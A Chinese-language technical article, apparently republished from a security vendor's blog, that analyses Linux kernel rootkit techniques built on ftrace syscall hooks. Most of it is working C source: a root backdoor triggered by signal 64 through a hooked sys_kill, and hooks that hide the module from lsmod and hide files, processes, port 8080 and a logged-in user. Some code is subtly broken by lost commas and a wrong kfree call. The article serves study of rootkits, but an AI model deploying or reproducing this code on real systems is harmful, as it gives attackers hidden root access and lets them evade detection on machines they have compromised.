Linux内核级rootkit技术剖析(下)

渗透技巧 1年前 (2023) admin
324 0 0

在上一篇Linux内核级rootkit技术剖析(上)中,介绍了ftrace是如何对syscall进行hook的,并且将mkdir系统调用替换为了我们自定义的函数。本篇文章讲将讲解rootkit的一些核心技术,包括root后门、隐藏内核模块、隐藏目录、隐藏用户和端口、隐藏进程各方面技术分析。


一、root后门

我们在使用kill命令时,实际上是发送了一个SIGKILL信号交给了sys_kill来处理,另外还有Ctrl+C发送SIGINT表示中断信号。实际上这些SIG信号都是数字,定义于signal.h文件中。我们可以利用这一点,自定义一个信号,然后hook sys_kill函数,在发送特定信号时让sys_kill返回一个root shell。

void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    root->uid.val = root->gid.val = 0;
    root->euid.val = root->egid.val = 0;
    root->suid.val = root->sgid.val = 0;
    root->fsuid.val = root->fsgid.val = 0;

    commit_creds(root);
}
asmlinkage int hook_kill(const struct pt_regs *regs)
{
    void set_root(void);

    int sig = regs->si;

    if (sig == 64)
    {
        printk(KERN_INFO "rootkit: giving root...n");
        set_root();
        return 0;
    }

    return orig_kill(regs);
}

重要函数:

  • prepare_creds是一个内核函数,它会分配并初始化一个cred对象。当我们设置好cred结构体的uid和gid之后,使用commit_creds将cred提交到当前进程。
  • 我们使用SIG 64作为root shell的信号。

当我们在命令行输入kill -64 1时,即可获得一个root shell。



二、从用户空间隐藏内核模块

实际上在安装好rootkit内核模块之后,用户可以通过lsmod命令查看当前安装的内核模块,出于隐蔽性方面的考虑,我们需要对其进行隐藏。当然,在隐藏内核模块之前,需要了解lsmod显示内核模块的原理。

内核模块都会关联到一个THIS_MODULE,它最终指向一个module结构体:

#ifdef MODULE
extern struct module __this_module;
#define THIS_MODULE (&__this_module)
#else
#define THIS_MODULE ((struct module *)0)
#endif

然后这个module结构体中存在一个双向链表list:

struct module {
 enum module_state state;

 /* Member of list of modules */
 struct list_head list;

 /* Unique handle for this module */
 char name[MODULE_NAME_LEN];
 ......

举个简单例子来了解双向链表:

struct my_object entry1entry2entry3;

entry1.prev = NULL;
entry1.next = &entry2;

entry2.prev = &entry1;
entry2.next = &entry3;

entry3.prev = &entry2;
entry3.next = NULL;

实际上lsmod就是通过module中的list链表来遍历当前系统中安装的模块,可以通过以下测试代码来验证这个链表的存在:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Linked Lists Example");
MODULE_VERSION("0.01");

static int __init rootkit_init(void)
{
    printk(KERN_INFO "rootkit: Loaded >:-)n");

    struct list_head *next_position = (&THIS_MODULE->list)->next;
    struct list_head *prev_position = (&THIS_MODULE->list)->prev;
    struct module *next_ptr = NULL;
    struct module *prev_ptr = NULL;

    next_ptr = list_entry( next_position, struct modulelist);
    prev_ptr = list_entry( prev_position, struct modulelist);

    printk(KERN_DEBUG "rootkit: next kernel module = %sn", next_ptr->name);
    printk(KERN_DEBUG "rootkit: prev kernel module = %sn", prev_ptr->name);

    return 0;
}

static void __exit rootkit_exit(void)
{
    printk(KERN_INFO "rootkit: Unloaded :(n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

运行结果如下(结果中prev为空,是因为我们这个rootkit是链表中的第一个模块):

$ sudo insmod rootkit.ko
$ dmesg
[12956.924033] rootkit: Loaded >:-)
[12956.924034] rootkit: next kernel module = ufs
[12956.924034] rootkit: prev kernel module =

不难想到的是,我们可以通过删除rootkit模块的链表信息,这样lsmod就不会再向用户显示模块了,但它又存在于系统中,这样就达到了隐藏目的。如何删除链表中的对象呢?内核其实已经有了对于链表的操作函数,比如list_del、list_add等等。我们借用kill启动后门的思路,为kill命令定义一个隐藏模块的信号,当接收到信号时,是用list_del函数删除链表中的指针。实现代码如下:

static struct list_head *prev_module;

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}
void showme(void)
{
    list_add(&THIS_MODULE->list, prev_module);
}
static short hidden = 0;

asmlinkage int hook_kill(const struct pt_regs *regs)
{
    void showme(void);
    void hideme(void);

    int sig = regs->si;

    if ( (sig == 64) && (hidden == 0) )
    {
        printk(KERN_INFO "rootkit: hiding rootkit!n");
        hideme();
        hidden = 1;
    }
    else if ( (sig == 64) && (hidden == 1) )
    {
        printk(KERN_INFO "rootkit: revealing rootkit!n");
        showme();
        hidden = 0;
    }
    else
        return orig_kill(regs);
}

需要注意一点的是,如果隐藏了内核模块,在使用rmmod时将会失败,这是因为rmmod实际上也是通过遍历链表的方式来查找卸载模块的。



三、隐藏目录和文件

rootkit通常会带有文件隐藏的功能,可用于rootkit远程下载文件后进行隐藏。为了使ls命令不显示目录下的文件,首先还是要搞清楚ls命令做了什么。

通过strace命令,得知ls命令最终会调用到getdents64系统调用(32位为getdents)。getdents64定义如下:

SYSCALL_DEFINE3(getdents64, unsigned int, fd,
  struct linux_dirent64 __user *, dirent, unsigned int, count)

第二个参数是一个linux_dirent64结构体:

struct linux_dirent64 {
 u64  d_ino;
 s64  d_off;
 unsigned short d_reclen;
 unsigned char d_type;
 char  d_name[];
};

其中的d_reclen表示结构的总大小,d_name是名称字符串,我们可以对比d_name来遍历查找我们想要的隐藏的文件。另外在strace ls得到的结果中还可以得到一条有用信息:

getdents64(30x55d9b3dc1400 /* 19 entries */32768) = 600

这表示它已经将600字节写入了内核缓冲区中,如果我们想要隐藏文件名的话,我们必须在内核缓冲区中将其全部修改为0字符,然后找到并跳过这些条目。具体代码如下:

#include <linux/dirent.h>

#define PREFIX "boogaloo"

static asmlinkage long (*orig_getdents64)(const struct pt_regs *);

asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;

    /* Declare the previous_dir struct for book-keeping */
    struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
    unsigned long offset = 0;

    int ret = orig_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;

    long error;
    error = copy_from_user(dirent_ker, dirent, ret);
    if(error)
        goto done;

    while (offset < ret)
    {
        current_dir = (void *)dirent_ker + offset;

        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* Check for the special case when we need to hide the first entry */
            if( current_dir == dirent_ker )
            {
                /* Decrement ret and shift all the structs up in memory */
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* Hide the secret entry by incrementing d_reclen of previous_dir by
             * that of the entry we want to hide - effectively "swallowing" it
             */

            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* Set previous_dir to current_dir before looping where current_dir
             * gets incremented to the next entry
             */

            previous_dir = current_dir;
        }

        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
        goto done;

done:
    kfree(dirent_ker);
    return ret;
}

整体过程:

  1. 先执行正常的getdents64获得长度
  2. 分配一个相同大小的内存,初始化为0
  3. 循环查找,直到找到“boogaloo”文件名
  4. 通过增加 previous_dir 的 d_reclen 将我们想隐藏的条目跳过,达到隐藏效果。在else中,循环之前将 previous_dir 设置为 current_dir,其中 current_dir 递增到下一个条目。

最后完全隐藏了名为boogaloo_secret_file的文件,效果如下:

Linux内核级rootkit技术剖析(下)

文件其实仍然存在,可以正常打开、删除等操作,但并不会出现在ls命令中。



四、隐藏进程

隐藏进程其实比较简单。要知道在Linux中,用户空间的所有用于读取PID的工具都只是读取了/proc目录下的文件而已。那么我们可以通过像隐藏目录的方式去将/proc目录下的PID目录隐藏即可。但实际上PID是随机的,没办法通过硬编码的方式写死在rootkit中。

我们其实可以通过之前hook kill命令的方式来做。sys_kill会自己向内核发送一个PID号,那么这时候我们只需要自定义一个rootkit命令,让其隐藏/proc下的条目即可。

asmlinkage int hook_kill(const struct pt_regs *regs)
{
    pid_t pid = regs->di;
    int sig = regs->si;

    if ( sig == 64 )
    {
        /* If we receive the magic signal, then we just sprintf the pid
         * from the intercepted arguments into the hide_pid string */

        printk(KERN_INFO "rootkit: hiding process with pid %dn", pid);
        sprintf(hide_pid, "%d", pid);
        return 0;
    }

    return orig_kill(regs);
}

其中hide_pid是我们在kill命令中输入的PID号。最终结果如下图:

Linux内核级rootkit技术剖析(下)



五、隐藏端口号

Linux中大部分用户命令都是解析一个或多个文件数据,然后处理输出内容向用户显示。查看监听端口的命令是netstat,它打开了/proc/net/tcp和/proc/net/tcp6,分别对应IPv4和IPv6。实际上这些文件并不是真正的文件,只是用于操作的一个IO接口,netstat在底层是通过tcp4_seq_show来解析数据的,那么我们可以通过hook这个函数来对解析过程进行干预。

tcp4_seq_show函数定义如下:

static int tcp4_seq_show(struct seq_file *seq, void *v)
{
 struct tcp_iter_state *st;
 struct sock *sk = v;

此函数将第二个参数v转化为sock结构体,sock结构体中保存了许多成员,但我们只关心第一个sock_common结构体:

struct sock {
 /*
  * Now struct inet_timewait_sock also uses sock_common, so please just
  * don't add nothing before this first member (__sk_common) --acme
  */

 struct sock_common __sk_common;
 #define sk_node   __sk_common.skc_node
 #define sk_nulls_node  __sk_common.skc_nulls_node
 .......

struct sock_common {
 /* skc_daddr and skc_rcv_saddr must be grouped on a 8 bytes aligned
  * address on 64bit arches : cf INET_MATCH()
  */

 union {
  __addrpair skc_addrpair;
  struct {
   __be32 skc_daddr;
   __be32 skc_rcv_saddr;
  };
 };
 union  {
  unsigned int skc_hash;
  __u16  skc_u16hashes[2];
 };
 /* skc_dport && skc_num must be grouped as well */
 union {
  __portpair skc_portpair;
  struct {
   __be16 skc_dport;
   __u16 skc_num;
  };
 };
        ......

其中skc_dport字段就是存储端口号的结构体成员,那么我们只需在此结构体进行解析的时候,让其直接跳过tcp4_seq_show解析然后返回即可。rootkit实现如下:

static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct inet_sock *is;
    long ret;
    unsigned short port = htons(8080);

    if (v != SEQ_START_TOKEN) {
  is = (struct inet_sock *)v;
  if (port == is->inet_sport || port == is->inet_dport) {
   printk(KERN_DEBUG "rootkit: sport: %d, dport: %dn",
       ntohs(is->inet_sport), ntohs(is->inet_dport));
   return 0;
  }
 }

 ret = orig_tcp4_seq_show(seq, v);
 return ret;
}

实现效果如下:

Linux内核级rootkit技术剖析(下)



六、隐藏登陆用户

在Linux中可以使用who命令来查看当前登录用户,而who命令实际上是使用openat和pread读取了/var/run/utmp文件,然后进行解析再返回给用户。

那么如果要隐藏用户的话,不难想到的是hook openat和pread函数,在它们读取内容后,将我们想要隐藏的内容置为0,这样在显示时便不会显示用户了,这实际上跟之前的例子相同,这里就不再重复解释原理了。但还存在一个问题,就是open和pread函数在底层有许多地方调用,这就需要我们去判断openat打开的文件是否是/var/run/utmp,然后再去hook pread之后的内容。实现代码如下:

int tamper_fd;

/* Declaration for the real sys_openat() - pointer fixed by Ftrace */
static asmlinkage long (*orig_openat)(const struct pt_regs *);

/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs *regs)
{
    /*
     * Pull the filename out of the regs struct
     */

    char *filename = (char *)regs->si;

    char *kbuf;
    char *target = "/var/run/utmp";
    int target_len = 14;
    long error;

    /*
     * Allocate a kernel buffer to copy the filename into
     * If it fails, just return the real sys_openat() without delay
     */

    kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
    if(kbuf == NULL)
        return orig_openat(regs);

    /*
     * Copy the filename from userspace into the kernel buffer
     * If it fails, just return the real sys_openat() without delay
     */

    error = copy_from_user(kbuf, filename, NAME_MAX);
    if(error)
        return orig_openat(regs);

    /*
     * Compare the filename to "/var/run/utmp"
     * If we get a match, call orig_openat(), save the result in tamper_fd,
     * and return after freeing the kernel buffer. We just about get away with
     * this delay between calling and returning
     */

    if ( memcmp(kbuf, target, target_len) == 0 )
    {
        tamper_fd = orig_openat(regs);
        kfree(kbuf);
        return tamper_fd;
    }

    /*
     * If we didn't get a match, then just need to free the buffer and return
     */

    kfree(kbuf);
    return orig_openat(regs);
}

static asmlinkage long (*orig_pread64)(const struct pt_regs *);

/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs *regs)
{
    /*
     * Pull the arguments we need out of the regs struct
     */

    int fd = regs->di;
    char *buf = (char *)regs->si;
    size_t count = regs->dx;

    char *kbuf;
    struct utmp *utmp_buf;
    long error;
    int i, ret;

    /*
     * Check that fd = tamper_fd and that we're not messing with STDIN, 
     * STDOUT or STDERR
     */

    if ( (tamper_fd == fd) &&
            (tamper_fd != 0) &&
            (tamper_fd != 1) &&
            (tamper_fd != 2) )
    {
        /*
         * Allocate the usual kernel buffer
         * The count argument from rdx is the size of the buffer (should be 384)
         */

        kbuf = kzalloc(count, GFP_KERNEL);
        if( kbuf == NULL)
            return orig_pread64(regs);

        /*
         * Do the real syscall, save the return value in ret
         * buf will then hold a utmp struct, but we need to copy it into kbuf first
         */

        ret = orig_pread64(regs);

        error = copy_from_user(kbuf, buf, count);
        if (error != 0)
            return ret;

        /*
         * Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
         */

        utmp_buf = (struct utmp *)kbuf;
        if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
        {
            /*
             * If we get a match, then we can just overwrite kbuf with 0x0
             */

            for ( i = 0 ; i < count ; i++ )
                kbuf[i] = 0x0;

            /*
             * Copy kbuf back to the userspace buf
             */

            error = copy_to_user(buf, kbuf, count);

            kfree(kbuf);
            return ret;
        }

        /*
         * We intercepted a sys_pread64() to /var/run/utmp, but this entry
         * isn't about HIDDEN_USER, so just free the kernel buffer and return
         */

        kfree(buf);
        return ret;
    }

    /*
     * This isn't a sys_pread64() to /var/run/utmp, do nothing
     */

    return orig_pread64(regs);
}

由于hook了openat和pread,对系统性能其实影响其实是比较大的,这也算是一个缺陷。



Reference

https://xcellerator.github.io/categories/linux/
       

原文始发于微信公众号(山石网科安全技术研究院):Linux内核级rootkit技术剖析(下)

版权声明:admin 发表于 2023年6月12日 上午10:20。
转载请注明:Linux内核级rootkit技术剖析(下) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...